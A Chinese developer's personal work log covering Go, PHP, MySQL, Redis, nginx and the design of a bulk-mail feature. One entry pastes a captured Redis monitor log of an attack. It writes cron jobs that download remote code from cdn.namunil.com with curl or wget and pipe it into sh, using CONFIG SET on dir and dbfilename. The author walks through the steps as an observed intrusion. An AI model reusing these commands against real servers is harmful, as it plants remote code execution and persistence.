6.UTF8是一个将Unicode码点编码为字节序列的变长编码,Go语言的源文件采用UTF8编码,并且Go语言处理UTF8编码的文本也很出色,Go语言的range循环在处理字符串的时候,会自动隐式解码UTF8字符串 ,文本字符串通常被解释为采用UTF8编码的Unicode码点(rune)序列
7.每个符号都分配一个唯一的Unicode码点,Unicode码点对应Go语言中的rune整数类型(译注:rune是int32等价类型)。小于256码点值可以写在一个十六进制转义字节中,例如\x41对应字符'A',更大的码点则必须使用\u或\U转义形式
utf8.RuneCountInString(s)函数 统计字符个数
8.四个包对字符串处理尤为重要:bytes、strings、strconv和unicode包
9.将一个整数转为字符串,一种方法是用fmt.Sprintf返回一个格式化的字符串;另一个方法是用strconv.Itoa(“整数到ASCII”):
10.字符串转换成整数 strconv.ParseInt strconv.ParseFloat
练习 3.10: 编写一个非递归版本的comma函数,使用bytes.Buffer代替字符串链接操作。
练习 3.11: 完善comma函数,以支持浮点数处理和一个可选的正负号的处理。
练习 3.12: 编写一个函数,判断两个字符串是否是是相互打乱的,也就是说它们有着相同的字符,但是对应不同的顺序。
go语言圣经-常量
1.常量表达式的值在编译期计算,而不是在运行期,常量的值不可修改
2.常量间的所有算术运算、逻辑运算和比较运算的结果也是常量
3.iota 常量生成器
在第一个声明的常量所在的行,iota将会被置为0,然后在每一个有常量声明的行加一
uint Flags = 1 << iota // 0001左移一位 ,左移两位 , 左移n位
4.iota常量生成规则也有其局限性。例如,它并不能用于产生1000的幂(KB、MB等),因为Go语言并没有计算幂的运算符。
练习 3.13: 编写KB、MB的常量声明,然后扩展到YB。
5.除法运算符/会根据操作数的类型生成对应类型的结果
=========================================================================
2018年4月9日 记录:
chunk_split — 将字符串分割成小块:
base64_encode() 的输出转换成符合 RFC 2045 语义的字符串。它会在每 chunklen 个字符后边插入 end行尾序列符号。
go语言圣经-包和文件-导入包
1.每个包都有一个全局唯一的导入路径
2.按照惯例,一个包的名字和包的导入路径的最后一个字段相同
练习 2.2: 写一个通用的单位转换程序,用类似cf程序的方式从命令行读取参数,如果缺省的话则是从标准输入读取参数,然后做类似Celsius和Fahrenheit的单位转换,长度单位可以对应英尺和米,重量单位可以对应磅和公斤等。
创建目录mkdir /home/ubuntu/gobook/class="lazy" data-src/unitconv/
2.目录下创建文件unitconv.go
go语言圣经-包的初始化
1.解决包级变量的依赖顺序,然后按照包级变量声明出现的顺序依次初始化
2.包中含有多个.go源文件,它们将按照发给编译器的顺序进行初始化
3.init初始化函数,在每个文件中的init初始化函数,在程序开始执行时按照它们声明的顺序被自动调用
4.每个包在解决依赖的前提下,以导入声明的顺序初始化,每个包只会被初始化一次,在main函数执行之前,所有依赖的包都已经完成初始化工作了
5.一个数字中含二进制1bit的个数算法,统计出一个int型数值中比特值为1的比特个数
&是二进制“与”运算,参加运算的两个数的二进制按位进行运算,运算的规律是:
0 & 0=0
0 & 1=0
1 & 0=0
1 & 1=1
练习 2.3: 重写PopCount函数,用一个循环代替单一的表达式。比较两个版本的性能。(11.4节将展示如何系统地比较两个不同实现的性能。)
练习 2.4: 用移位算法重写PopCount函数,每次测试最右边的1bit,然后统计总数。比较和查表算法的性能差异。
练习 2.5: 表达式x&(x-1)用于将x的最低的一个非零的bit位清零。使用这个算法重写PopCount函数,然后比较性能。
go语言圣经-作用域
1.一个声明语句将程序中的实体和一个名字关联,比如一个函数或一个变量
2.一个变量的生命周期是指程序运行时变量存在的有效时间段;声明语句的作用域对应的是一个源代码的文本区域,它是一个编译时的属性
3.句法块是由花括弧所包含;我们可以把块(block)的概念推广到包括其他声明的群组,这些声明在代码中并未显式地使用花括号包裹起来,我们称之为词法块。
4.全局作用域 包级语法域 源文件级的作用域 局部作用域 函数级的作用域
5.从最内层的词法域向全局的作用域查找。内部的会覆盖外部的,如果查找失败,则报告“未声明的名字”这样的错误
6.词法域可以深度嵌套,因此内部的一个声明可能屏蔽外部的声明
7.隐式词法域, 比如:for循环 函数体词法域,一个在for隐式的初始化词法域,一个在for循环体词法域
8.Go语言的习惯是在if中处理错误然后直接返回,这样可以确保正常执行的语句不需要代码缩进。
9.要特别注意短变量声明语句的作用域范围,虽然变量在外部已经声明过,但是:=语句还是将变量重新声明为新的局部变量
避免出现类似潜在的问题,通过单独声明变量,来避免使用:=
go语言圣经-基础数据类型
1.基础类型、复合类型、引用类型和接口类型
2.基础类型,包括:数字、字符串和布尔型
3.复合数据类型——数组(§4.1)和结构体(§4.2)
4.引用类型包括指针(§2.3.2)、切片(§4.2))字典(§4.3)、函数(§5)、通道(§8),都是对程序中一个变量或状态的间接引用
go语言圣经-整型
1.int8、int16、int32和int64四种截然不同大小的有符号整数类型
2.uint8、uint16、uint32和uint64四种无符号整数类型
3.有符号和无符号整数int和uint;其中int是应用最广泛的数值类型。这两种类型都有同样的大小,32或64bit
4.byte也是uint8类型的等价类型,byte类型一般用于强调数值是一个原始的数据而不是一个小的整数
5.一种无符号的整数类型uintptr,没有指定具体的bit大小但是足以容纳指针
6.bit位操作运算符,& | ^ &^位清空 (AND NOT) <<左移 >>右移
7.使用了Printf函数的%b参数打印二进制格式的数字;其中%08b中08表示打印至少8个字符宽度,不足的前缀部分用0填充
&^是按位置零 x&^y 按y置零x ;x^y 异或在 |或的基础上去掉两个都为1的部分
8.倾向于使用有符号的int类型,uint无符号类型比如在循环时条件判断处会出问题
9.无符号数往往只有在位运算或其它特殊的运算场景才会使用
10.类型不匹配的问题,需要显式类型转换,将一个大尺寸的整数类型转为一个小尺寸的整数类型,或者是将一个浮点数转为整数,可能会改变数值或丢失精度
11.整数字面值都可以用以0开始的八进制格式书写,例如0666,用以0x或0X开头的十六进制格式书写,例如0xdeadbeef
%d、%o或%x参数控制输出的进制格式,%之后的[1]副词告诉Printf函数再次使用第一个操作数,%后的#副词告诉Printf在用%o、%x或%X输出时生成0、0x或0X前缀,字符使用%c参数打印,或者是用%q参数打印带单引号的字符
go语言圣经-浮点数
1.两种精度的浮点数,float32和float64,应该优先使用float64类型
2.%g %e(带指数)或%f的形式参数打印浮点数
3.
=========================================================================
2018年4月8日 记录:
修复延长读取MIC的超时时间
go语言圣经-声明
1.四种类型的声明语句:var、const、type和func,分别对应变量、常量、类型和函数实体对象的声明
2.包一级声明语句声明的名字可在整个包对应的每个源文件中访问,局部声明的名字就只能在函数内部很小的范围被访问
go语言圣经-变量
1.var 变量名字 类型 = 表达式
2.零值初始化机制,数值类型零值是0,布尔类型变量对应的零值是false,字符串类型对应的零值是空字符串,接口或引用类型(包括slice、指针、map、chan和函数)变量对应的零值是nil
3.同时声明一组变量,用逗号分隔
4.简短变量声明 := ,只有对已经在同级词法域声明过的变量才和赋值操作语句等价
5.一个指针的值是另一个变量的地址,指针名字为p,那么可以说“p指针指向变量x”,或者说“p指针保存了x变量的内存地址”
6.聚合类型每个成员,可以被取地址
7.函数返回局部变量的地址也是安全的
8.将指针作为参数调用函数,那将可以在函数中通过该指针来更新变量的值。
9.我们对一个变量取地址,或者复制指针,我们都是为原变量创建了新的别名
10.指针是实现标准库中flag包的关键技术,它使用命令行参数来设置对应变量的值
11.另一个创建变量的方法是调用用内建的new函数,new(T)将创建一个T类型的匿名变量,初始化为T类型的零值,然后返回变量地址,返回的指针类型为*T
12.变量的生命周期指的是在程序运行期间变量有效存在的时间间隔
13.从每个包级的变量和每个当前运行函数的每一个局部变量开始,通过指针或引用的访问路径遍历,是否可以找到该变量。如果不存在这样的访问路径,那么说明该变量是不可达的,也就是说它是否存在并不会影响程序后续的计算结果
14.一个循环迭代内部的局部变量的生命周期可能超出其局部作用域。同时,局部变量可能在函数返回之后依然存在。
15.局部变量从函数中逃逸,该局部变量必须在堆上分配
go语言圣经-赋值
1.元组赋值是另一种形式的赋值语句,它允许同时更新多个变量的值,用法交换两个变量的值
2.最大公约数(GCD算法),计算斐波纳契数列(Fibonacci)的第N个数 更加简洁
3.表达式太复杂的话,应该尽量避免过度使用元组赋值;调用一个有多个返回值的函数,可以使用元组赋值,额外的返回值来表达某种错误类型,可以用下划线空白标识符_来丢弃不需要的值
4.程序中还有很多地方会发生隐式的赋值行为:函数传参,复合类型的字面量
go语言圣经-类型
1.type 类型名字 底层类型 类型声明语句
2.类型声明语句一般出现在包一级,因此如果新创建的类型名字的首字符大写,则在外部包也可以使用
3.命名类型还可以为该类型的值定义新的行为
4.许多类型都会定义一个String方法,因为当使用fmt包的打印方法时,将会优先使用该类型对应的String方法返回的结果打印
5.显式转型操作,每一个类型T,都有一个对应的类型转换操作T(x),用于将x转为T类型
go语言圣经-包和文件
1.Go语言中的包和其他语言的库或模块的概念类似,目的都是为了支持模块化、封装、单独编译和代码重用
2.每个包都对应一个独立的名字空间
3.如果一个名字是大写字母开头的,那么该名字是导出的
分布式文件存储系统
https://github.com/donnie4w/wfs
分布式聊天服务器
https://github.com/donnie4w/tim
消息队列
https://github.com/blackbeans/kiteq
P2P音视频
https://github.com/keroserene/go-webrtc
闭包说白了就是函数的嵌套,内层的函数可以使用外层函数的所有变量,配合匿名函数,配合作用域链就像只能往上不能往下的阶梯
2.JWT的构成:头部(header),载荷(payload),签证(signature)
base64_encode(json_encode(加密算法)).base64_encode(json_encode(内容主体)).
=========================================================================
2018年4月4日 记录:
go语言圣经-获取URL
1.主要使用net/http和io/ioutil包
2.http.Get函数是创建HTTP请求的函数,resp这个结构体中,Body字段包括一个可读的服务器响应流
3.ioutil.ReadAll函数从response中读取到全部内容,resp.Body.Close关闭resp的Body流
4.用os.Exit函数来终止进程,并且返回一个status错误码
5.使用Fprintf与表示任意类型默认格式值的动词%v,向标准错误流打印一条信息
6.strings.HasPrefix(s, prefix string) bool,判断字符串s是否以prefix 开头
go语言圣经-并发获取多个URL
1.GO最新奇的特性就是对并发编程的支持,goroutine和channel
2.goroutine是一种函数的并发执行方式,而channel是用来在goroutine之间进行参数传递
go function则表示创建一个新的goroutine,并在这个新的goroutine中执行这个函数。
3.make函数创建了一个传递string类型参数的channel
4.io.Copy把响应的Body内容拷贝到ioutil.Discard输出流中,扔到一个垃圾桶
5.goroutine尝试在一个channel上做send或者receive操作时,这个goroutine会阻塞在调用处,直到另一个goroutine往这个channel里写入、或者接收值
6.用main函数来接收所有fetch函数传回的字符串,可以避免在goroutine异步执行还没有完成时main函数提前退出。
=========================================================================
2018年4月3日 记录:
上传附件的流程:
群发邮件发送带附件邮件
MySQL的锁机制
1.数据库锁定机制简单来说,就是数据库为了保证数据的一致性,而使各种共享资源在被并发访问变得有序所设计的一种规则。
2.MySQL各存储引擎使用了三种类型(级别)的锁定机制:表级锁定,行级锁定和页级锁定。
3.表级锁定,获取锁和释放锁的速度很快,避免了死锁问题,并发差,主要是MyISAM,MEMORY,CSV等一些非事务性存储引擎
4.行级锁定,并发处理强,获取锁和释放锁慢,容易发生死锁,主要是InnoDB存储引擎
5.页面锁,介于表锁和行锁之间
go语言圣经-GIF动画
1.Go语言标准库里的image这个package的用法,生成的图形名字叫利萨如图形(Lissajous figures)
2.用了一些新的结构,包括const声明,struct结构体类型,复合声明,浮点数运算
3.Slice(切片)代表变长的序列,序列中每个元素都有相同的类型,写作[]T,T代表slice中元素的类型
=========================================================================
2018年4月2日 记录:
获取保存的已发送邮件模板详情接口,从s3读取文件并解析出内容:
Linux diff比较两个目录的不同:
diff dir1 dir2 -urNaq
-a --text Treat all files as text.
-u -U NUM --unified[=NUM] Output NUM (default 3) lines of unified[统一] context.
-u,-U<列数>或--unified=<列数>:以合并的方式来显示文件内容的不同;
-N --new-file Treat absent[缺少] files as empty.
-r --recursive Recursively compare any subdirectories found.
-q --brief Output only whether files differ.[不显示内容]
使用git rebase合并多次commit
=========================================================================
2018年3月30日 记录:
获取已保存群发模板列表
3.续期中转站接口,插入了一个队列,暂时可能此功能不能使用
go语言学习:
https://books.studygolang.com/gopl-zh/ go语言圣经
1.Go语言有时候被描述为“C类似语言”,或者是“21世纪的C语言”。
2.Go语言中和并发编程相关的特性是全新的也是有效的,同时对数据抽象和面向对象编程的支持也很灵活。Go语言同时还集成了自动垃圾收集技术用于更好地管理内存。
3.Go语言尤其适合编写网络服务相关基础设施,同时也适合开发一些工具软件和系统软件。
4.Go语言有足够的类型系统以避免动态语言中那些粗心的类型错误,但是,Go语言的类型系统相比传统的强类型语言又要简洁很多
5.现代计算机是一个并行的机器,Go语言提供了基于CSP的并发特性支持。Go语言的动态栈使得轻量级线程goroutine的初始栈可以很小,顺序通信进程(CSP),在CSP中,程序是一组中间没有共享状态的平行运行的处理过程,它们之间使用管道进行通信和控制同步
6.Go语言的标准库(通常被称为语言自带的电池),提供了清晰的构建模块和公共接口,包含I/O操作、文本处理、图像、密码学、网络和分布式应用程序等,并支持许多标准化的文件格式和编解码协议
7.书中所有的代码都可以从 http://gopl.io 上的Git仓库下载。go get命令根据每个例子的导入路径智能地获取、构建并安装。只需要选择一个目录作为工作空间,然后将GOPATH环境变量设置为该路径。
$ export GOPATH=$HOME/gobook # 选择工作目录
$ go get gopl.io/ch1/helloworld # 获取/编译/安装
$ $GOPATH/bin/helloworld # 输出hello 世界
=========================================================================
2018年3月29日 记录:
SinaStorage中对REST风格的一个简单的表述为:使用HTTP-verb(动词)来指明操作的动作, 并用http中path来指明操作对象。
垃圾回收机制:
http://php.net/manual/zh/features.gc.php
引用计数基本知识
回收周期(Collecting Cycles)
性能方面考虑的因素
sha1_file(),计算文件的 sha1 散列值
linux json格式化工具jq,yum install jq
curl_setopt_array() - 为 cURL 传输会话批量设置选项
CURLOPT_PUT TRUE 时允许 HTTP 发送文件。要被 PUT 的文件必须在 CURLOPT_INFILE和CURLOPT_INFILESIZE 中设置。
=========================================================================
2018年3月28日 记录:
location = /uri =开头表示精确匹配,只有完全匹配上才能生效。
location ^~ /uri ^~ 开头对URL路径进行前缀匹配,并且在正则之前。
location ~ pattern ~开头表示区分大小写的正则匹配。
location ~* pattern ~*开头表示不区分大小写的正则匹配。
location /uri 不带任何修饰符,也表示前缀匹配,但是在正则匹配之后。
location / 通用匹配,任何未匹配到其它location的请求都会匹配到,相当于switch中的default。
Go 语言具有很强的表达能力,它简洁、清晰而高效。得益于其并发机制, 用它编写的程序能够非常有效地利用多核与联网的计算机,其新颖的类型系统则使程序结构变得灵活而模块化。 Go 代码编译成机器码不仅非常迅速,还具有方便的垃圾收集机制和强大的运行时反射机制。 它是一个快速的、静态类型的编译型语言,感觉却像动态类型的解释型语言。
=========================================================================
2018年3月27日 记录:
获取已发送群发邮件日志接口
pop代收,在165和166上查看icnc接口的pop.php请求日志,没有请求日志,大叔那边的进程假死了
Order Deny,Allow的用法:
影响最终判断结果的只有两点:
1. order语句中allow、deny的先后顺序,最后的是最优先的;
2. allow、deny语句中各自包含的范围。
常用:
Order Deny,Allow
Deny from all //禁止所有
Allow from 61.135.152.134 //允许指定ip
Order Allow,Deny
Allow from all //允许所有
Deny from 61.135.152.134 //禁止指定ip
安装最新版redis:
yum install git
wget http://download.redis.io/releases/redis-4.0.8.tar.gz
tar -zxvf redis-4.0.8.tar.gz
make
完成后就会放在了class="lazy" data-src目录里面了
Examples:
./redis-server (run the server with default conf)
./redis-server /etc/redis/6379.conf
./redis-server --port 7777
./redis-server --port 7777 --slaveof 127.0.0.1 8888
./redis-server /etc/myredis.conf --loglevel verbose
1.允许远程连接
注释掉bind指令
protected-mode yes
2.设置连接密码
requirepass 密码
3.守护进程执行
../redis.conf 配置文件中daemonize yes,会以守护进程执行
启动./redis-server ../redis.conf
=========================================================================
2018年3月26日 记录:
1522057495.583846 [0 123.206.24.121:50084] "set" "dUHkp" "\n\n*/1 * * * * curl cdn.namunil.com/sh.php|sh\n"
1522057495.584467 [0 123.206.24.121:50084] "set" "yA" "\n\n*/2 * * * * wget -O- cdn.namunil.com/sh.php|sh\n"
1522057495.585023 [0 123.206.24.121:50084] "set" "HoemuOP" "\n\n*/3 * * * * /usr/bin/curl -qs cdn.namunil.com/sh.php|/bin/sh\n"
1522057495.585650 [0 123.206.24.121:50084] "set" "ehWap" "\n\n*/4 * * * * /usr/bin/wget -q -O- cdn.namunil.com/sh.php|/bin/sh\n"
1522057495.586313 [0 123.206.24.121:50084] "config" "set" "dir" "/var/spool/cron/"
1522057495.587036 [0 123.206.24.121:50084] "config" "set" "dbfilename" "root"
1522057495.587374 [0 123.206.24.121:50084] "save"
1522057495.587827 [0 123.206.24.121:50084] "config" "set" "dir" "/var/spool/cron/crontabs/"
1522057495.588235 [0 123.206.24.121:50084] "save"
执行set命令,保存字符串,value 是一条cron规则的形式
2.设置备份文件的目录到cron目录
3.设置备份文件的文件名成root
4.save保存文件,直接把字符串中的cron规则写入了文件
5.cron定时执行,远程脚本里面各种操作
config命令:
CONFIG GET * 获取所有的配置项
config set 设置配置项
send_mass_mail_用户邮箱id
验证memcache中发送条数,如果今天超限5000就提示信息,发送完成后从新更新mc数据
插入发送群发邮件日志表
生成1000个测试邮箱:
i=0;while [ $i -lt 100 ];do i=`expr $i + 1 `;echo `expr 630892806 + $i`"@qq.com";done > emails.txt
查询性能优化:
1.为什么查询速度会慢,整个查询过程的生命周期,都可能消耗大量时间
2.慢查询基础:优化数据访问
1)向服务器请求了不需要的数据,select *
2)扫描了而外的记录,explain sql查看返回结果中的rows是扫描行数,using where是指全部返回然后过滤不符合条件的,效率低
3.重构查询的方式
1)切分查询,大查询变小查询 , 容易使用查询缓存 , 减少锁的竞争 , 容易对数据库进行拆分
2)分解关联查询,join查询拆分后用in实现 ,更加高效减少冗余记录查询
4.查询优化基础
1)查询缓存
2)查询优化器,自动进行各种优化
3)MySQL如何执行关联查询
union查询,将每次查询放到一张临时表中,然后再读取临时表
任何关联都是嵌套循环关联操作,回溯
4)排序优化,避免排序,避免大数据量排序,文件排序using filesort效率低
两次传输排序,单次传输排序
MySQL查询优化器的局限性
1)关联子查询,where条件中包含in()的子查询,最糟糕
2)union中的单条加limit限制
6.查询优化器的提示(hint)
7.优化特定类型的查询
中国移动的套餐电话,每月58元,三个月后,是68元,需要打电话要求更改一下
=========================================================================
2018年3月23日 记录:
redis的监控日志:
redis-cli monitor
群发邮件项目主要流程(细节限制暂忽略)
1.提供给前端HTTP发送接口参数为:
to [群发列表id,根据此id获取列表中的邮箱地址]
from [发件人]
subject [标题]
msgtxt [邮件内容]
组装eml文件
拼接eml文件,所有收件人拼接在To:xxx@xx.com,aaa@xx.com
因为有多台服务器,所以存入共享文件目录/mnt/entmail/mass_mail中,生成一个文件sendmassmail_{用户id}.eml
插入redis服务中
lpush send_mass_mail "{from}|{to}|{eml文件地址}"
后台执行脚本
rpop send_mass_mail
1)取出队列中的一条记录,拆分出来发件人,收件人,文件eml地址
2)fopen读取并替换掉eml文件中的发件人部分(因为前面是吧所有人收件人的邮箱地址拼在了To那里), 此时要把当前这个收件人替换回去,如果不替换,收件后会显示出所有的收件人
3)调用内部smtp服务,循环发送邮件
4)队列空时删掉eml文件目录
=========================================================================
2018年3月22日 记录:
系统消息设计:用户表 信息表 关联表 读取表
redis默认只允许本地访问,要使redis可以远程访问可以修改redis.conf
service redis-server restart
ini_set('pcre.backtrack_limit' ,-1);解决preg_replace()的长字符串限制,这种特别慢
还是使用fopen才可以fgets
fwrite(): send of 8192 bytes failed with errno=32 Broken pipe
smtp服务那边,配置没有同步,同步以后,我的测试机就没法发信了
=========================================================================
2018年3月21日 记录:
绩效:
增加企业邮箱新功能,提升企邮产品竞争力
企邮webmail基础功能
1.企邮web与客户端的扫码登陆功能开发
2.企邮web的HTTPS协议支持功能
3.环信web即时通讯功能开发
4.自助日志查询
5.邮件归档
6.ip登陆限制
7.账户禁用功能
增加企邮外贸群发邮件新功能,扩展企邮增长点
外贸邮箱功能
发送群发邮件接口开发
增加邮箱地址接口开发
导入邮箱地址接口开发
新增群发列表接口开发
获取已发送邮件列表开发
获取已发送邮件详情开发
获取群发列表接口开发
获取邮箱地址列表接口开发
删除已发送群发邮件接口开发
删除群发列表接口开发
删除邮箱地址接口开发
获取发送日志列表接口开发
企邮日常维护和功能,性能优化,提升系统可靠性
企业用户使用过程中的问题
1.处理维护日常提案,解决用户投诉问题,降低用户流失
2.运营工作支持
发送群发接口:
1.在/mnt/entmail/mass_mail 生成eml文件,规则:sendmassmail_{id}.eml
2.插入队列规则:"from|to|邮件文件地址"
3.记录到发送表
4.保存到已发送模板表
定时脚本:
1.轮询队列内容
2.取出eml文件内容,拆分替换收件人部分,循环调用内部smtp服务发信
=========================================================================
2018年3月20日 记录:
=========================================================================
2018年3月19日 记录:
新建群发列表,导入邮箱地址:
1.新建时直接导入文件
2.单用户每人限制50个群发列表
3.每个列表中的邮箱地址限制1000个
4.列表中邮箱去掉格式不正确的和重复的
5.判断列表名称不能为空
6.判断导入文件的大小不能太大,不能为空
7.返回成功,失败,总共的条数
对已存在的列表进行再次导入邮箱地址:
1.要求同上
2.判断列表是否存在
3.已存在邮箱地址加上新导入地址不得超过1000
获取邮箱地址列表接口:
1.全部取出
2.保留分页功能
获取邮箱地址列表的分页部分主要代码:
$this->sum=empty($this->sum) ? 0:$this->sum;
$this->pagenum=ceil($this->sum/$this->pagesize);
$this->pageno=empty($req->pageno)? 1 : $req->pageno;
$start=($pageno-1)*$pagesize;
$end=$pagesize;
$preSql="select * from mass_list_detail{tid} where user_email_id=:user_email_id and mass_id=:mass_id order by id desc limit {$start},{$end}";
$preSql=$this->makeSql($preSql);
=========================================================================
2018年3月16日 记录:
中转站下载文件超限上线,下载中转站文件bug修复
=========================================================================
2018年3月15日 记录:
设计能力:懂得如何利用分层、面向对象、设计模式等设计组织代码
编码能力:熟悉PHP语法特性,清晰简洁的使用PHP语言解决产品需求,了解不同版本PHP新特性和PHP内部实现原理
工程能力:可以快速构建工程,使用工程化思想开发项目
协作能力:懂得快速多人协作开发维护工程项目,基于版本控制软件和WiKi平台进行日常开发
扩展能力:
熟悉和了解通讯协议DNS/TCP/HTTP/HTTPS/SSL/TLS/SMTP/IMAP,进行域名解析流程调试,迁移项目到更安全协议,邮箱业务相关工作.
了解前端技术,包括HTML/CSS/JS和安卓移动端等,方便与其他同事进行沟通合作,提升项目的前端用户体验.
熟悉常用数据存储技术,包括MySQL,Memcache,以及一些消息队列MemcacheQ,Redis,高性能的使用MySQL,内存缓存和队列服务解决项目需求
熟练使用和配置Nginx,Apache,PHP-FPM,Memcache,SVN,FTP等常用服务端软件,搭建和测试LNAMP环境,维护线上项目稳定运行
熟练使用Linux Shell以及各种命令工具进行系统日志监控,错误调试,调查统计等日常工作
优化能力:产品功能优化、业务逻辑优化、基础技术优化、操作系统底层优化等
工程化:即系统化、模块化、规范化的一个过程。指将具有一定规模数量的单个系统或功能部件,按照一定的规范,组合成一个模块鲜明、系统性强的整体。
mysql开启查询日志:
/etc/mysql/mysql.conf.d/mysqld.cnf
general_log_file = /var/log/mysql/mysql.log
general_log = 1
查看openssl的版本:
openssl version -a OpenSSL从1.0.1开始才支持TLS 1.2
=========================================================================
2018年3月14日 记录:
如果我有10万会员需要做excel导出,请问怎么让程序不超时,两个接口
一个是触发导出脚本的接口
一个是查询进度的接口
脚本执行,前台无需等待,脚本里往一个地方存一下当前第几条的进度,查询进度接口1秒一查进度进度100%了,文件就生成了,直接跳到文件去下载
CentOS安装mysql5.7
wget https://repo.mysql.com//mysql57-community-release-el6-11.noarch.rpm
rpm -Uvh mysql57-community-release-el6-11.noarch.rpm
curl网络连接不上,iptables清除一下就好了
-A INPUT -s 202.106.182.212/32 -d 125.39.104.0/24 -p tcp -m tcp --dport 22 -j ACCEPT
-A INPUT -s 202.106.184.253/32 -d 125.39.104.0/24 -p tcp -m tcp --dport 22 -j ACCEPT
-A INPUT -s 219.142.78.199/32 -d 125.39.104.0/24 -p tcp -m tcp --dport 22 -j ACCEPT
-A INPUT -s 219.142.118.199/32 -d 125.39.104.0/24 -p tcp -m tcp --dport 22 -j ACCEPT
-A INPUT -s 125.39.104.0/24 -d 125.39.104.0/24 -p tcp -m tcp --dport 25 -j ACCEPT
-A INPUT -s 125.39.104.0/24 -d 125.39.104.0/24 -p tcp -m tcp --dport 80 -j ACCEPT
-A INPUT -s 125.39.104.0/24 -d 125.39.104.0/24 -p tcp -m tcp --dport 110 -j ACCEPT
-A INPUT -s 125.39.104.0/24 -d 125.39.104.0/24 -p tcp -m tcp --dport 143 -j ACCEPT
-A INPUT -s 125.39.104.0/24 -d 125.39.104.0/24 -p tcp -m tcp --dport 2025 -j ACCEPT
-A INPUT -s 125.39.104.0/24 -d 125.39.104.0/24 -p tcp -m tcp --dport 11811 -j ACCEPT
-A INPUT -s 125.39.104.0/24 -d 125.39.104.0/24 -p tcp -m tcp --dport 20024 -j ACCEPT
-A INPUT -s 60.28.175.224/32 -d 125.39.104.0/24 -p tcp -m tcp -j ACCEPT
-A INPUT -s 60.28.164.37/32 -d 125.39.104.0/24 -p tcp -m tcp -j ACCEPT
-A INPUT -d 125.39.104.0/24 -p tcp -j REJECT --reject-with icmp-port-unreachable
-A INPUT -d 125.39.104.0/24 -p udp -j REJECT --reject-with icmp-port-unreachable
=========================================================================
2018年3月13日 记录:
上线定时发信的群发单显问题
mysql内存不足启动失败:
[ERROR] InnoDB: mmap(136151040 bytes) failed; errno 12
[ERROR] InnoDB: Cannot allocate memory for the buffer pool
[ERROR] InnoDB: Plugin initialization aborted with error Generic error
[ERROR] Plugin 'InnoDB' init function returned error.
[ERROR] Plugin 'InnoDB' registration as a STORAGE ENGINE failed.
[ERROR] Failed to initialize plugins.
[ERROR] Aborting
需要分配交换空间swap
dd if=/dev/zero of=/swapfile bs=1M count=1024
mkswap /swapfile
swapon /swapfile
free -h 查看swap空间有了
在文件/etc/fstab中加入 /swapfile swap swap defaults 0 0
nonaggregated的 非聚集问题
使用 select @@sql_mode; 命令可以看到,数据库设置了 ONLY_FULL_GROUP_BY 的mode,对于GROUP BY聚合操作,如果在SELECT中的列,没有在GROUP BY中出现,又没有出现在聚集函数中,那么这个SQL是不合法的,因为列不在GROUP BY从句中
一个数据表,字段:id、id_num(18位身份证号);id_num前八位代表城市,第17位是奇数的话是男,是偶数的话是女,写出sql语句:统计每个城市的男性和女性
select count(mass_name) from mass_list where mod(substring(mass_name,17,1),2)=1 group by substring(mass_name,1,8) union select count(mass_name) from mass_list where mod(substring(mass_name,17,1),2)=0 group by substring(mass_name,1,8);
=========================================================================
2018年3月12日 记录:
正则表达式模式修正符:
i 忽略大小写
m 多行视作一行
g 全局匹配
s .圆点匹配换行符,默认不包括换行
x 空白字符除了被转义的或在字符类中的以外完全被忽略,在未转义的字符类之外的 # 以及下一个换行符之间的所有字符,包括两头,也都被忽略。
e preg_replace() 在替换字符串中对逆向引用作正常的替换
u 此修正符启用了一个 PCRE 中与 Perl 不兼容的额外功能。模式字符串被当成 UTF-8。
U : 正则表达式的特点:就是比较”贪婪“ .* .+ 所有字符都符合这个条件
MySQL预处理技术:
1.减轻服务器压力
2.防止sql注入,把传递过去的危险字符也只当做参数处理
3.将sql语句强制一分为二:第一部分为前面相同的命令和结构部分,第二部分为后面可变的数据部分
基本使用
prepare sql_1 from "select * from mass_list";
execute sql_1;
drop prepare sql_1;
传参:
prepare sql_2 from "select * from mass_list where id=?";
set @id=1;
execute sql_2 using @id;
prepare sql_3 from "insert into mass_list (mass_name) values(?)";
set @name='zhang';
execute sql_3 using @name;
prepare sql_3 from "insert into mass_list (mass_name,user_email_id) values(?,?),(?,?)";
set @name='zhang';
set @id=1;
execute sql_3 using @name,@id,@name,@id;//参数按顺序传递
=========================================================================
2018年3月9日 记录:
测试查找群发单显功能问题,定时发信,群发单显功能,没有拆分后发送
flock 命令最大的用途就是实现对 crontab 任务的串行化。
* * * * * flock -xn /tmp/mytest.lock -c 'php /var/www/html/test/cron.php'
1.将命令作为 flock 的 -c 选项的参数。flock 命令中,-x 表示对文件加上排他锁,-n 表示文件使用非阻塞模式,-c 选项指明加锁成功后要执行的命令。
2.阻塞与非阻塞
flock 文件锁提供了阻塞和非阻塞两种使用方式。当处于阻塞模式时,如果当前进程无法成功获取到文件锁,那么进程就会一直阻塞等待,直到其他进程在对应文件上释放了锁,本进程能成功持有锁为止。
3.
惊呆!cron里面竟然还有如此用法!!!
http://www.cnblogs.com/taoshihan/p/8535223.html
这样可以保证同一时刻只有一个php进程执行,但是中间可能有一定的间隔期,一个进程也没有
2.可以使用sleep实现多个进程同时定时执行
https://zhuanlan.zhihu.com/p/25134841
PDO 提供了三种不同的错误处理模式
1.PDO::ERRMODE_SILENT 静默模式,不终止代码,只能使用 $pdo->errorCode() 和 $pdo->errorInfo() 获取错误信息
2.PDO::ERRMODE_WARNING 警告模式,不终止代码,在错误日志中出现warning类型的错误信息
PDO::ERRMODE_EXCEPTION 异常模式,终止代码,抛出异常信息,使用try()catch(){}捕获
=========================================================================
2018年3月8日 记录:
新建群发列表接口代码编写
json_encode()
1.默认就是把所有 ASCII 可显示字符以外的统统转义为 Unicode
如果把那些字符转义为 Unicode 之后,无论文件编码是否一致,都不会出现乱码,因此中文转成Unicode编码是有好处的
对单引号和双引号的处理是有差异的,并且受数组键值包裹字符串的引号影响
json_encode(array(),JSON_FORCE_OBJECT));输出空的对象
json_encode(new stdClass());另一种方式
JSON_UNESCAPED_SLASHES 不要转义 /
JSON_UNESCAPED_UNICODE 汉字不要编码成Unicode 字符
出现错误时的处理,json_decode失败的问题:
var_dump(json_last_error());//打印出错信息
var_dump($b);
先打开ip138之类的网站,看看什么运营商
2.劫持一般是让他改DNS或者帮他处理,或者公司的话找网管。
3.ping 的慢,可能要看看我们自己的服务端监控,没有问题的话,可能是客户的网络 或者路由问题。跨运营商也有丢包的情况
=========================================================================
2018年3月7日 记录:
一、什么是接口文档?
